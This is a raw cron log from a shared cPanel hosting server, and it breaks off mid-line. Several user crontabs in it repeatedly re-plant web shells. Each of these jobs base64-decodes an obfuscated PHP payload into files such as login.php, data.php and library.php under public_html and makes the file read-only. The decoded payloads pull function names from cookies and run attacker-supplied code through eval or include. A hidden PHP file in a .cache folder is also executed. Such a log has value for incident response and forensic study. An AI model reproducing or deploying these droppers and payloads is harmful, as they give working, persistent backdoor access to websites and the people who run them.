Mar  2 11:15:01 medusa CROND[30844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:15:01 medusa CROND[30845]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:15:01 medusa CROND[30846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30847]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:15:01 medusa CROND[30848]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:15:01 medusa CROND[30849]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:15:01 medusa CROND[30850]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30852]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:15:01 medusa CROND[30854]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30857]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30855]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:15:01 medusa CROND[30862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30858]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:15:01 medusa CROND[30859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:15:01 medusa CROND[30870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:15:01 medusa CROND[30871]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:15:01 medusa CROND[30872]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:15:01 medusa CROND[30880]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:15:01 medusa CROND[30881]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:16:01 medusa CROND[14932]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:16:02 medusa CROND[15126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:16:02 medusa CROND[15125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:16:02 medusa CROND[15130]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:16:02 medusa CROND[15131]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:16:02 medusa CROND[15129]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:16:02 medusa CROND[15132]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:16:02 medusa CROND[15133]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:16:02 medusa CROND[15134]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:16:02 medusa CROND[15138]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:16:02 medusa CROND[15141]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:16:02 medusa CROND[15144]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:16:02 medusa CROND[15127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:16:02 medusa CROND[15128]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:17:01 medusa CROND[1096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:17:02 medusa CROND[1332]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:17:02 medusa CROND[1509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:17:02 medusa CROND[1568]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:17:02 medusa CROND[1570]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZ